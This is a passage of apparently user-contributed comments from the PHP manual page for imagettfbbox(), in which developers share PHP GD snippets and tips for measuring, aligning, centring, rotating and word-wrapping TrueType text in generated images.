for ($j = 0; $j < $height; $j++)
{
    for ($i = 0; $i < $width; $i++)
    {
        if (isset($blank_left) && $i >= $blank_left)
        {
            break;
        }

        if (imagecolorat($image, $i, $j) !== $last_pixel)
        {
            if (!isset($blank_top))
            {
                $blank_top = $j;
            }
            $blank_left = $i;
            break;
        }

        $last_pixel = imagecolorat($image, $i, $j);
    }
}

$x -= $blank_left;
$y -= $blank_top;

imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, $bgcolor);
imagettftext($image, $size, 0, $x, $y, $color, $font, $text);

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
alvaro at demogracia dot com 22-May-2009 03:35
If $fontfile is a Windows UNC path, it *must* start with //SERVER rather than \\SERVER:

<?php
imagettfbbox(10, 0, '\\\\server\\path\\file.ttf', 'Hello, World!'); // Warning: imagettfbbox() [http://es.php.net/function.imagettfbbox]: Could not find/open font
?>
Dario 05-May-2009 07:09
My solution to below-baseline characters is to simply apply a smaller angle and some padding when calculating your boundaries, so the function thinks your text goes below baseline. For example:

<?php
// GET BOUNDS OF TEXT
$bounds = imagettfbbox($size*1.05, $angle-3, $font, $text);
?>
Anonymous 06-Nov-2008 11:18
SIMPLE OVERLOADED FUNCTION: Adds TTF Center and Right Alignment to co ordintate points.
Correctly demonstrates the use of the bouning box TTF function and the array of coordinates that it returns.

After obtaining values and adjusting based on a set of values [L, C, R], it uses simple math based of the length of the text to move it from the origin (x = 0 )

<?php
function imagettftextalign($image, $size, $angle, $x, $y, $color, $font, $text, $alignment='L')
{

   //check width of the text
   $bbox = imagettfbbox ($size, $angle, $font, $text);
   $textWidth = $bbox[2] - $bbox[0];
   switch ($alignment) {
       case "R":
           $x -= $textWidth;
           break;
       case "C":
           $x -= $textWidth / 2;
           break;
   }

   //write text
   imagettftext ($image, $size, $angle, $x, $y, $color, $font, $text);

}
?>
decimealgo at gmail dot com 04-Oct-2008 10:11
This is a function which reformats a text string into a text block of a given width.
Usefull when you have a long single line string and want to fit it into a fixed width but don't care about it's height

<?php
function makeTextBlock($text, $fontfile, $fontsize, $width)
{
    $words = explode(' ', $text);
    $lines = array($words[0]);
    $currentLine = 0;
    for($i = 1; $i < count($words); $i++)
    {
        $lineSize = imagettfbbox($fontsize, 0, $fontfile, $lines[$currentLine] . ' ' . $words[$i]);
        if($lineSize[2] - $lineSize[0] < $width)
        {
            $lines[$currentLine] .= ' ' . $words[$i];
        }
        else
        {
            $currentLine++;
            $lines[$currentLine] = $words[$i];
        }
    }

    return implode("\n", $lines);
}
?>
Alexander Gavazov 04-Sep-2008 03:25
For me the best combination is from "beosman at gmail dot com" and "Nate Sweet"

<?php
function calculateTextBox($font_size, $font_angle, $font_file, $text) {
    $box = imagettfbbox($font_size, $font_angle, $font_file, $text);

    $min_x = min(array($box[0], $box[2], $box[4], $box[6]));
    $max_x = max(array($box[0], $box[2], $box[4], $box[6]));
    $min_y = min(array($box[1], $box[3], $box[5], $box[7]));
    $max_y = max(array($box[1], $box[3], $box[5], $box[7]));

    return array(
        'left' => ($min_x >= -1) ? -abs($min_x + 1) : abs($min_x + 2),
        'top' => abs($min_y),
        'width' => $max_x - $min_x,
        'height' => $max_y - $min_y,
        'box' => $box
    );
}
?>
beosman at gmail dot com 22-Aug-2008 09:00
I was viewing the code for calculate the box of a text for a given font but I do not found one that works fine with different angles from zero, so I have made a function simpler than above:

<?php

function calculateTextBox($text,$fontFile,$fontSize,$fontAngle) {
  $rect = imagettfbbox($fontSize,$fontAngle,$fontFile,$text);

  $minX = min(array($rect[0],$rect[2],$rect[4],$rect[6]));
  $maxX = max(array($rect[0],$rect[2],$rect[4],$rect[6]));
  $minY = min(array($rect[1],$rect[3],$rect[5],$rect[7]));
  $maxY = max(array($rect[1],$rect[3],$rect[5],$rect[7]));

  return array(
    "left"   => abs($minX),
    "top"    => abs($minY),
    "width"  => $maxX - $minX,
    "height" => $maxY - $minY,
    "box"    => $rect
  );
}

?>

With this function you can center an angled string in any image:

<?php

  $mystring = "Hello world!";

  $imgWidth = 300;
  $imgHeight = 150;

  $image = imagecreate($imgWidth,$imgHeight);
  imagefill($image,imagecolorallocate($image,200,200,200));

  $box = calculateTextBox($mystring,"./Verdana.ttf",15,45);
  $color = imagecolorallocate($image,0,0,0);
  imagettftext($image,
               15,
               45,
               $box["left"] + ($imgWidth / 2) - ($box["width"] / 2),
               $box["top"] + ($imgHeight / 2) - ($box["height"] / 2),
               $color,
               "./Verdana.ttf",
               $mystring);

  header("Content-Type: image/x-png");
  imagepng($im);
  imagedestroy($im);

?>
Stefan at colulus dot com 30-May-2008 11:13
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagepng($im);

?>
Valentijn de Pagter 16-May-2008 10:14
If you're looking for easy text alignment, you need to use the imagettfbbox() command. When given the correct parameters, it will return the boundaries of your to-be-made text field in an array, which will allow you to calculate the x and y coordinate that you need to use for centering or aligning your text.

A horizontal centering example:

<?php

$tb = imagettfbbox(17, 0, 'airlock.ttf', 'Hello world!');

?>

$tb would contain:

Array
(
    [0] => 0 // lower left X coordinate
    [1] => -1 // lower left Y coordinate
    [2] => 198 // lower right X coordinate
    [3] => -1 // lower right Y coordinate
    [4] => 198 // upper right X coordinate
    [5] => -20 // upper right Y coordinate
    [6] => 0 // upper left X coordinate
    [7] => -20 // upper left Y coordinate
)

For horizontal alignment, we need to substract the "text box's" width { $tb[2] or $tb[4] } from the image's width and then substract by two.

Saying you have a 200px wide image, you could do something like this:

<?php

$x = ceil((200 - $tb[2]) / 2); // lower left X coordinate for text
imagettftext($im, 17, 0, $x, $y, $tc, 'airlock.ttf', 'Hello world!'); // write text to image

?>

This'll give you perfect horizontal center alignment for your text, give or take 1 pixel. Have fun!
mihai.draghicioiu at gmailcom 14-Apr-2008 03:57
To get the height for a line of text, I've found it useful to do:

<?php

$bbox = imagettfbbox($size, 0, $ttf, " \n "); // space, newline, space

$height = $bbox[3] - $bbox[5];

?>

I hope this helps. Before, I used the string "Tj", but that sometimes fell short, especially for crazy fonts.
heshan at sjtu dot edu dot cn 07-Jan-2008 04:18
the imagettfbbox and imagettftext quirks are:

1. imagettfbbox and imagettftext have the same return value and both of them are wrong for angle not equal to zero.
2. imagettfbbox returns the correct bounding box when angle is zero.
3. the bounding box has a coordinate system that the x gets bigger from left to right and y gets bigger from top to bottom.
4. the "base point" used in imagettftext is the origin in the bounding box coordinate system.
5. when the angle is other than 0, it is actually rotated in the coordinate system with respect to the base point. so if we know the bounding box coordinate when angle is zero, we can get the new bounding box coordinate by doing the rotation by math equations manually.
6. to have pixel level accuracy, we should also be aware of another thing. suppose the axis is like this: |_|_|_|, the bounding box coordinate uses point on the vertical line while image function uses point on the horizontal line, so there is a 1 pixel difference you should take care of.

The following snippet creates minimal images containing a letter of different font and rotation angle. This is especially useful in captcha scripts.

<?php

function create_font_image( $size, $angle, $font, $char )
{
    $rect = imagettfbbox( $size, 0, $font, $char );
    if( 0 == $angle ) {
        $imh = $rect[1] - $rect[7];
        $imw = $rect[2] - $rect[0];
        $bx = -1 - $rect[0];
        $by = -1 - $rect[7];
    } else {
        $rad = deg2rad( $angle );
        $sin = sin( $rad );
        $cos = cos( $rad );
        if( $angle > 0 ) {
            $tmp = $rect[6] * $cos + $rect[7] * $sin;
            $bx = -1 - round( $tmp );
            $imw = round( $rect[2] * $cos + $rect[3] * $sin - $tmp );
            $tmp = $rect[5] * $cos - $rect[4] * $sin;
            $by = -1 - round( $tmp );
            $imh = round( $rect[1] * $cos - $rect[0] * $sin - $tmp );
        } else {
            $tmp = $rect[0] * $cos + $rect[1] * $sin;
            $bx = -1 - round( $tmp );
            $imw = round( $rect[4] * $cos + $rect[5] * $sin - $tmp );
            $tmp = $rect[7] * $cos - $rect[6] * $sin;
            $by = -1 - round( $tmp );
            $imh = round( $rect[3] * $cos - $rect[2] * $sin - $tmp );
        }
    }
    $im = imagecreatetruecolor( $imw, $imh );
    imagefill( $im, 0, 0, imagecolorallocate( $im, 255, 0, 255 ) );
    imagettftext( $im, $size, $angle, $bx, $by, imagecolorallocate( $im, 0, 0, 0 ), $font, $char );
    imagegif( $im, trim( $font, './' ) . ord( $char ) . $angle . '.gif' );
    imagedestroy( $im );
}

$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
$angles = array( -30, -20, -10, 0, 10, 20, 30 );
$fonts = array( './latinwide.ttf', './verdana.ttf', './times.ttf', './broadway.ttf' );
foreach( $angles as $angle )
    foreach( $fonts as $font )
        for( $i = 0; $i < strlen( $chars ); ++$i )
            create_font_image( 100, $angle, $font, $chars[$i] );
?>
intuz et gmx dt de 29-Aug-2007 11:45
I still got problems trying to rotate imagettftext using imagettfbbox.

It's position calculation is mostly wrong. So i tried to rotate ttftext with IMAGEROTATE.

As a special the result is in black fontcolor and transparent background.

Hope it helps sombody (thanks for function convertBoundingBox, reading below)

<?
function ImgText($text,$fontsize,$font,$angle){
$im = '';
    if($text){
        if(!$fontsize || $fontsize < 1) $fontsize = 12;
        if(!$font) $font = "fonts/arial.ttf";
        $bbox = imagettfbbox($fontsize, 0, $font, $text);
        $size=convertBoundingBox($bbox);
        $im = ImageCreatetruecolor($size['width'],$size['height']);

        $white = ImageColorAllocate($im, 255, 255, 255);
        $black = ImageColorAllocate($im, 0,0,0);

        imagefill ($im, 0, 0, $white );
        imagettftext($im, $fontsize, 0, $size['xOffset'], $size['yOffset'], $black, $font, $text);
        $im = imagerotate( $im,$angle, $white);
        imagecolortransparent ($im,$white);
    }else{
        // No text
    }
}
?>
bushj at rpi dot edu 10-Jul-2007 09:11
Apparently the bounding box returned by imagettftext and imagettfbbox is not the same, and it appears as though imagettftext does a better job at calculating the actual bounding box (maybe because it has to render every character and it then finds out really everywhere it rendered).

So, you can create a dummy image render the text to it and get a better box. Here is an example function:
<?php
function better_imagettfbbox($size, $angle, $font, $text) {
  $dummy = imagecreate(1, 1);
  $black = imagecolorallocate($dummy, 0, 0, 0);
  $bbox = imagettftext($dummy, $size, $angle, 0, 0, $black, $font, $text);
  imagedestroy($dummy);
  return $bbox;
}
?>
If you use this a lot, it would be better to keep one dummy image instead of continually creating and destroying images.
Ruquay 04-Jun-2007 04:12
Several comments show that the output of this function is often not what is expected, especially when the text is rotated.

For those of you who'd like a visual representation of what is happening to the bounding box as the text is rotated, take a look here:

http://ruquay.com/sandbox/imagettf/
Nate Sweet 01-Jun-2007 12:11
An improvement to the convertBoundingBox function. The previous function was completely wrong. My confusion came from characters like "1" and "_" that are rendered to the right or below the basepoint (in the font I'm using). I ended up using mike at mikeleigh dot com's function with a fix for these characters, and a "belowBasepoint" value.
<?php
function convertBoundingBox ($bbox) {
    if ($bbox[0] >= -1)
        $xOffset = -abs($bbox[0] + 1);
    else
        $xOffset = abs($bbox[0] + 2);
    $width = abs($bbox[2] - $bbox[0]);
    if ($bbox[0] < -1) $width = abs($bbox[2]) + abs($bbox[0]) - 1;
    $yOffset = abs($bbox[5] + 1);
    if ($bbox[5] >= -1) $yOffset = -$yOffset; // Fixed characters below the baseline.
    $height = abs($bbox[7]) - abs($bbox[1]);
    if ($bbox[3] > 0) $height = abs($bbox[7] - $bbox[1]) - 1;
    return array(
        'width' => $width,
        'height' => $height,
        'xOffset' => $xOffset, // Using xCoord + xOffset with imagettftext puts the left most pixel of the text at xCoord.
        'yOffset' => $yOffset, // Using yCoord + yOffset with imagettftext puts the top most pixel of the text at yCoord.
        'belowBasepoint' => max(0, $bbox[1])
    );
}
?>
Nate Sweet 01-Jun-2007 12:07
It took me some time to make full use of imagettfbbox. Hopefully the following function makes it much easier to use for others.

<?php
function convertBoundingBox ($bbox) {
    if ($bbox[0] >= -1)
        $leftOfBasepoint = -abs($bbox[0] + 1);
    else
        $leftOfBasepoint = abs($bbox[0] + 2);
    $rightOfBasepoint = abs($bbox[2] - $bbox[0]);
    if ($bbox[0] < -1) $rightOfBasepoint = abs($bbox[2]) + abs($bbox[0]) - 1;
    $aboveBasepoint = abs($bbox[5] + 1);
    $height = abs($bbox[7]) - abs($bbox[1]);
    if ($bbox[3] > 0) $height = abs($bbox[7] - $bbox[1]) - 1;
    $width = $leftOfBasepoint + $rightOfBasepoint;
    $belowBasepoint = $height - $aboveBasepoint;
    return array(
        'width' => $width,
        'height' => $height,
        'leftOfBasepoint' => $leftOfBasepoint,
        'rightOfBasepoint' => $rightOfBasepoint,
        'aboveBasepoint' => $aboveBasepoint,
        'belowBasepoint' => $belowBasepoint
    );
}
?>

Thanks goes to mike at mikeleigh dot com for providing the core of this function.

Remember, the basepoint is the x, y coords you use to draw text with imagettftext. A useful thing to do is take a string like...
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890
...and use the "aboveBasepoint" value for the height of your font. Now you can draw lines and use "the height of your font * leading" as the distance between lines of text, where leading is a number like 1.45 (for 45% leading).
Nate Sweet 30-May-2007 01:36
This script shows you side by side the difference between a font rendered at a certain size and the same font rendered at some multiple of that size and then scaled down by the same multiple. It seems to help small sizes and affects large ones less. This script lets you see if it is worth implementing for your situation. Included is the great "imagettfbboxextended" function by mike at mikeleigh dot com below.

$size = 30;
$factor = 16;

$smallSize = imagettfbboxextended($size, 0, "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
$smallWidth = $smallSize['width'];
$smallHeight = $smallSize['height'];
$canvas = imagecreatetruecolor($smallWidth + 20, $smallHeight * 2 + 20);
imagefill($canvas, 0, 0, imagecolorallocate($canvas, 255, 255, 255));
imagettftext($canvas, $size, 0, 10 + $smallSize['x'], 10 + $smallSize['y'], imagecolorallocate($canvas, 0, 0, 0), "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");

$largeSize = imagettfbboxextended($size * $factor, 0, "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
$largeWidth = $largeSize['width'];
$largeHeight = $largeSize['height'];
$temp = imagecreatetruecolor($largeWidth, $largeHeight);
imagefill($temp, 0, 0, imagecolorallocate($canvas, 255, 255, 255));
imagettftext($temp, $size * $factor, 0, $largeSize['x'], $largeSize['y'], imagecolorallocate($temp, 0, 0, 0), "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
imagecopyresampled($canvas, $temp, 10 + $smallSize['x'], 10 + $smallSize['y'] + 10, 0, 0, $smallWidth, $smallHeight, $largeWidth, $largeHeight);
imagepng($temp, "temp.png");

imagepng($canvas, "test.png");

function imagettfbboxextended($size, $angle, $fontfile, $text) {
    /*this function extends imagettfbbox and includes within the returned array
    the actual text width and height as well as the x and y coordinates the
    text should be drawn from to render correctly.  This currently only works
    for an angle of zero and corrects the issue of hanging letters e.g. jpqg*/
    $bbox = imagettfbbox($size, $angle, $fontfile, $text);

    //calculate x baseline
    if($bbox[0] >= -1) {
        $bbox['x'] = abs($bbox[0] + 1) * -1;
    } else {
        //$bbox['x'] = 0;
        $bbox['x'] = abs($bbox[0] + 2);
    }

    //calculate actual text width
    $bbox['width'] = abs($bbox[2] - $bbox[0]);
    if($bbox[0] < -1) {
        $bbox['width'] = abs($bbox[2]) + abs($bbox[0]) - 1;
    }

    //calculate y baseline
    $bbox['y'] = abs($bbox[5] + 1);

    //calculate actual text height
    $bbox['height'] = abs($bbox[7]) - abs($bbox[1]);
    if($bbox[3] > 0) {
        $bbox['height'] = abs($bbox[7] - $bbox[1]) - 1;
    }

    return $bbox;
}
mike at mikeleigh dot com 28-May-2007 07:05
I have been testing this function for a while now and have come up with many of the same issues that other people have touched upon.  Not being able to calculate the width of the text correctly.  Or if a solution is found then it won't work with a hanging letter or a negative start letter like 'j'.

Like Ralph I also wanted to draw a box around some text and this would require me being pixel perfect with the font.  The trouble is I did not know which font would be used or which size.  This led me to come up with a solution which I am sharing below.

<?php
function imagettfbboxextended($size, $angle, $fontfile, $text) {
    /*this function extends imagettfbbox and includes within the returned array
    the actual text width and height as well as the x and y coordinates the
    text should be drawn from to render correctly.  This currently only works
    for an angle of zero and corrects the issue of hanging letters e.g. jpqg*/
    $bbox = imagettfbbox($size, $angle, $fontfile, $text);

    //calculate x baseline
    if($bbox[0] >= -1) {
        $bbox['x'] = abs($bbox[0] + 1) * -1;
    } else {
        //$bbox['x'] = 0;
        $bbox['x'] = abs($bbox[0] + 2);
    }

    //calculate actual text width
    $bbox['width'] = abs($bbox[2] - $bbox[0]);
    if($bbox[0] < -1) {
        $bbox['width'] = abs($bbox[2]) + abs($bbox[0]) - 1;
    }

    //calculate y baseline
    $bbox['y'] = abs($bbox[5] + 1);

    //calculate actual text height
    $bbox['height'] = abs($bbox[7]) - abs($bbox[1]);
    if($bbox[3] > 0) {
        $bbox['height'] = abs($bbox[7] - $bbox[1]) - 1;
    }

    return $bbox;
}
?>

The function above gives the correct x and y coordinates that the text should be drawn from and also gives the actual image width and height.  This has been tested with various fonts and sizes ranging from 6 up to 144 points.  Some of the output will appear to be incorrect and have an extra pixel on the right, using verdana at size 144 and outputting the character 'Q' for example.  This is not an error as this is part of the anti-aliasing of the font output.

Example Usage:
<?php
$font = 'c:\windows\fonts\verdana.ttf';
$font_size = 144;
$text = 'jÜyZgQ';
$bbox = imagettfbboxextended($font_size, 0, $font, $text);
?>

Return Values:
Array
(
    [0] => -8
    [1] => 40
    [2] => 715
    [3] => 40
    [4] => 715
    [5] => -177
    [6] => -8
    [7] => -177
    [x] => 6
    [width] => 722
    [y] => 176
    [height] => 216
)

Further notes can be found here along with images of the output of the function http://mikeleigh.com/links/imagettfbbox
lassial dot gmail dot com 24-May-2007 04:46
Ralph Bolton commented about the difference in calculating the bounding box size vs. aligning text base line.

The workaround for this issue is to calculate the difference in height between a character going below baseline and one above the baseline. This is likely going to vary from font to font, so I'd suggest something like this:

<?php

function fontBaselineOffset($font, $fontSize)
{
//this should be above baseline
$test2="H";
//some of these additional letters should go below it
$test3="Hjgqp";

//get the dimension for these two:

$box2 = imageTTFBbox($fontSize,0,$font,$test2);
$box3 = imageTTFBbox($fontSize,0,$font,$test3);

//return the offset value

return  abs((abs($box2[5]) + abs($box2[1])) - (abs($box3[5]) + abs($box3[1])));

}
?>

This is not perfect yet. You should define a range of allowed characters that can go below baseline, compare them to the ones actually found in your string and use them instead of the string $test3 used in the example function above. This should avoid problems with letters that go further below baseline than the others (e.g. there could be a difference between 'g' and 'p')
ralphbolton at mail2sexy dot com 23-Apr-2007 09:16
There's a bit of an annoyance with measuring font sizes and drawing boxes around text. When fonts are measured using ImageTTFbbox, the correct vertical height is returned. That is, the measurement of the phrase "Hanging" will be from the top of the "H" to the bottom of the "g".

The problem is that functions like imageTTFtext align with the "line" of the text - that is, in the phrase "Hanging", the alignment is below the "H", not the bottom of the "g". That means that if you draw a rectangle behind your text, it'll be incorrectly aligned because the hanging "g" will be outside the box.

For example, this doesn't work as you might expect (because the "g" hangs below the box):
<?php
// Get the size of the font box
$textbox = imageTTFBbox($size, 0, $font, 'Hanging');
$textwidth = abs($textbox[4] - $textbox[0]);
$textheight = abs($textbox[5] - $textbox[1]);

// Now draw a rectangle on the image
$colour = ImageColorAllocate($im, 100, 100, 100);
imagefilledrectangle($im, $x, $y - $textheight, $x + $textwidth, $y, $colour );

// Now draw the text
$black = ImageColorAllocate($im, 0, 0, 0);
ImageTTFText($image['resource'], $size, 0, $x, $y, $black, $font, 'Hanging');
?>
It also seems that the rectangle in the above example is located 1 pixel to the left of the text.

I haven't found a way to resolve this problem correctly. Instead, I have enlarged the rectangle and then put the text into it. I don't think this will work absolutely correctly for all fonts, so it's not exactly a perfect solution. However, it's better than nothing! Here is a snippet of it:
<?php
$enlargex = $textwidth * 0.08;
$enlargey = $textheight * 0.1;
$enlargey2 = $textheight * 0.5;

// Now draw a rectangle on the image
$colour = ImageColorAllocate($im, 100, 100, 100);
imagefilledrectangle($im, $x - $enlargex, $y - $textheight - $enlargey, $x + $textwidth + $enlargex, $y + $enlarge2, $colour );
?>
marclaz 31-Jul-2006 06:13
Please note that as imageTTFBbox and imageTTFText functions return an array of coordinates which could be negative numbers care must be taken with height and width calculations.

The rigth way to do that is to use the abs() function:

for an horizontal text:

$box = @imageTTFBbox($size,0,$font,$text);
$width = abs($box[4] - $box[0]);
$height = abs($box[5] - $box[1]);

Then to center your text at ($x,$y) position the code should be like that:

$x -= $width/2;
$y += $heigth/2;

imageTTFText($img,$size,0,$x,$y,$color,$font,$text);

this because (0,0) page origin is topleft page corner and (0,0) text origin is lower-left readable text corner.

Hope this help.
Nimja 08-May-2006 01:09
Warning:
james.logsdon's function has a few flaws in copying my own function. Though he did a great job in making an overall nicer looking function it does have a few flaws.

His function does not allow for long words (longer then the width) linebreaks (harder then it looks) and has a non-pixel perfect location.

The problem with the imagettfbbox function is that different letters give a different x/y top-left coordinate. At least it looks that way for the eye. I 'solved' this by putting a space in front of every line and then offset the text by the width of that space.

So, although some things of my function seem useless they do serve an important purpose.
james.logsdon at firesidemedia dot net 05-May-2006 01:32
I've modified Nimja's function a little. It doesn't support line-breaks (didn't need it in my script), but it's easy enough to add in.

<?php

function imageWordWrapBBox ( $Text, $Width = 650, $FontSize = 10, $Font = './fonts/arial.ttf' )
{
    $Words = split ( ' ', $Text );
    $Lines = array ( );
    $Line  = '';

    foreach ( $Words as $Word )
    {
        $Box  = imagettfbbox ( $FontSize, 0, $Font, $Line . $Word );
        $Size = $Box[4] - $Box[0];
        if ( $Size > $Width )
        {
            $Lines[] = trim ( $Line );
            $Line    = '';
        }
        $Line .= $Word . ' ';
    }
    $Lines[] = trim ( $Line );

    $Dimensions = imagettfbbox ( $FontSize, 0, $Font, 'AJLMYabdfghjklpqry019`@$^&*(,' );
    $lineHeight = $Dimensions[1] - $Dimensions[5];

    return array ( $lineHeight, $Lines, $lineHeight * count ( $Lines ) );
}

function imageWordWrap ( $Text, $Width, $Color, $X = 0, $Y = 0, $FontSize = 10, $Font = './fonts/arial.ttf' )
{
    $Data = $this->imageWordWrapBBox ( $Text, $Width, $FontSize, $Font );

    foreach ( $Data[1] as $Key => $Line )
    {
        $locX = $X;
        $locY = $Y + ( $Key * $Data[0] );
        imagettftext ( $this->Image, $FontSize, 0, $locX, $locY, $Color, $Font, $Line );
    }

    return $Data;
}
?>
toe dot cutter at telia dot com 28-Feb-2006 07:41
Neither Greg's or Henrik N's code worked for me.

I figured out that imagettfbbox gives the size (coordinates) of the whole letter (ie. with the hang on 'g' or 'j'). So it was only a matter of finding the correct index of coordinates in the array.

Note: This doesn't work on Times New Roman Italic's 'f' for some reason.

<?php

    $size = imagettfbbox($fontsize, 0, $font, $text);
    $dx = abs($size[2]-$size[0]);
    $dy = abs($size[5]-$size[3]);

    ImageTTFText($im, $fontsize, 0, abs($size[6]), abs($size[5]), $txtcolor, $font, $text);

?>
Henrik N 26-Feb-2006 01:48
Tried Greg's code below, but it didn't quite work for me. This did, however:

<?php

$size = imagettfbbox($fontSize, 0, $font, $text);
$width = $size[2] + $size[0];
$height = abs($size[1]) + abs($size[7]);

$image = imagecreatetruecolor($width, $height);

imagettftext($image, $fontSize, 0, 0, abs($size[5]), $black, $font, $text);

?>
greg at gregoryfenton dot be 11-Feb-2006 02:23
Have a problem with imagettfbbox cutting off the hang of letters such as 'g' or 'j'??

After days trying to figure this thing out, I finally cracked it:

  $size = imagettfbbox($s,0,$font,$text);
  $dx=abs($size[0])+abs($size[2]);
  $dy=abs($size[1])+abs($size[7]);

  ImageTTFText($im, $s, 0, $dx-abs($size[0]), $dy-abs($size[1]), $black, $font, $text);

The key is the abs commands - you must account for the negative numbers in the original imagettfbbox, and if you have any, take them away from the location at the end when the text is displayed:

you need to start the x and y at a (possibly) negative number, not 0,0 as I had thought.

Hope that helps someone..
Nimja 13-Jan-2006 08:32
My previous function had 2 bugs which are now fixed:
* Align is now pixel perfect, no longer dependant on the first character. Solved by putting a space " " in front of every rendered line, making the basepoint at the exact same place every time.
* X Y Coordinates are no longer the base-point, but the perfect top/left coordinates. This made my life designing a LOT easier.

Features:
* Newline support! (both Windows and Linux)
* Paragraph support, no newlines are ignored, not even empty ones. So empty lines are properly supported.
* True top/left x/y coordinates instead of TTF basepoint.(at least as close as possible).
* Align function for Left, Center and Right
* Support for words that are longer then the supported width.

<?php
//A function for pixel precise text Wrapping
function imageTextWrapped(&$img, $x, $y, $width, $font, $color, $text, $textSize, $align="l") {
    //Recalculate X and Y to have the proper top/left coordinates instead of TTF base-point
    $y += $textSize;
    $dimensions = imagettfbbox($textSize, 0, $font, " "); //use a custom string to get a fixed height.
    $x -= $dimensions[4]-$dimensions[0];

    $text = str_replace ("\r", '', $text); //Remove windows line-breaks
    $srcLines = split ("\n", $text); //Split text into "lines"
    $dstLines = Array(); // The destination lines array.
    foreach ($srcLines as $currentL) {
        $line = '';
        $words = split (" ", $currentL); //Split line into words.
        foreach ($words as $word) {
            $dimensions = imagettfbbox($textSize, 0, $font, $line.$word);
            $lineWidth = $dimensions[4] - $dimensions[0]; // get the length of this line, if the word is to be included
            if ($lineWidth > $width && !empty($line) ) { // check if it is too big if the word was added, if so, then move on.
                $dstLines[] = ' '.trim($line); //Add the line like it was without spaces.
                $line = '';
            }
            $line .= $word.' ';
        }
        $dstLines[] =  ' '.trim($line); //Add the line when the line ends.
    }
    //Calculate lineheight by common characters.
    $dimensions = imagettfbbox($textSize, 0, $font, "MXQJPmxqjp123"); //use a custom string to get a fixed height.
    $lineHeight = $dimensions[1] - $dimensions[5]; // get the heightof this line

    $align = strtolower(substr($align,0,1)); //Takes the first letter and converts to lower string. Support for Left, left and l etc.
    foreach ($dstLines as $nr => $line) {
        if ($align != "l") {
            $dimensions = imagettfbbox($textSize, 0, $font, $line);
            $lineWidth = $dimensions[4] - $dimensions[0]; // get the length of this line
            if ($align == "r") { //If the align is Right
                $locX = $x + $width - $lineWidth;
            } else { //If the align is Center
                $locX = $x + ($width/2) - ($lineWidth/2);
            }
        } else { //if the align is Left
            $locX = $x;
        }
        $locY = $y + ($nr * $lineHeight);
        //Print the line.
        imagettftext($img, $textSize, 0, $locX, $locY, $color, $font, $line);
    }
}

?>
Nimja 13-Jan-2006 06:01
This is a completely rewritten function of "printWordWrapped" because it lacked a few important features. First of all, it started too high with it's text, which was easily fixed. And it has the annoying 'feature' of adding a space in front of every line. Not ideal.

But secondly, and more importantly, it didn't support long words or linebreaks. This is all fixed. And I rewrote it for cleaner code.

Please note that with the current code you could easily make a vertical align as well if you wanted to. I have not done this myself since it did not fit my own needs (and I'm slightly lazy)

Enjoy:

<?php
function imageTextWrapped(&$img, $x, $y, $width, $font, $color, $text, $textSize, $align="l") {
    $y += $fontSize; //Correct place for the fonts.
    $text = str_replace ("\\r", '', $text); //Remove windows line-breaks
    $srcLines = split ("\\n", $text); //Split text into "lines"
    $dstLines = Array(); // The destination lines array.
    foreach ($srcLines as $currentL) {
        $line = '';
        $words = split (" ", $currentL); //Split line into words.
        foreach ($words as $word) {
            $dimensions = imagettfbbox($textSize, 0, $font, $line.' '.$word);
            $lineWidth = $dimensions[4] - $dimensions[0]; // get the length of this line, if the word is to be included
            if ($lineWidth > $width && !empty($line) ) { // check if it is too big if the word was added, if so, then move on.
                $dstLines[] = trim($line); //Add the line like it was without spaces.
                $line = '';
            }
            $line .= $word.' ';
        }
        $dstLines[] =  trim($line); //Add the line when the line ends.
    }
    //Calculate lineheight by common characters.
    $dimensions = imagettfbbox($textSize, 0, $font, "MXQJPmxqjp123"); //use a custom string to get a fixed height.
    $lineHeight = $dimensions[1] - $dimensions[5]; // get the heightof this line

    $align = strtolower(substr($align,0,1)); //Takes the first letter and converts to lower string. Support for Left, left and l etc.
    foreach ($dstLines as $nr => $line) {
        if ($align != "l") {
            $dimensions = imagettfbbox($textSize, 0, $font, $line);
            $lineWidth = $dimensions[4] - $dimensions[0]; // get the length of this line
            if ($align == "r") { //If the align is Right
                $locX = $x + $width - $lineWidth;
            } else { //If the align is Center
                $locX = $x + ($width/2) - ($lineWidth/2);
            }
        } else { //if the align is Left
            $locX = $x;
        }
        $locY = $y + ($nr * $lineHeight);
        //Print the line.
        imagettftext($img, $textSize, 0, $locX, $locY, $color, $font, $line);
    }
}
?>
peisenmann at gmail dot com 28-Dec-2005 06:41
Another function for centered text string.
What it does: Generate a truecolor .png image of a text string. The image will be just large enough encompass the text and a 2 px border and the text will be centered in it.

It is called from any other page like so...
<img src="linkImg.php?text=php.net is great&border=out" /> // Text with #&+"'\<> will need to be escaped, but I've found spaces don't cause errors. I haven't tested this with any other languages.

The following code is the file named linkImg.php
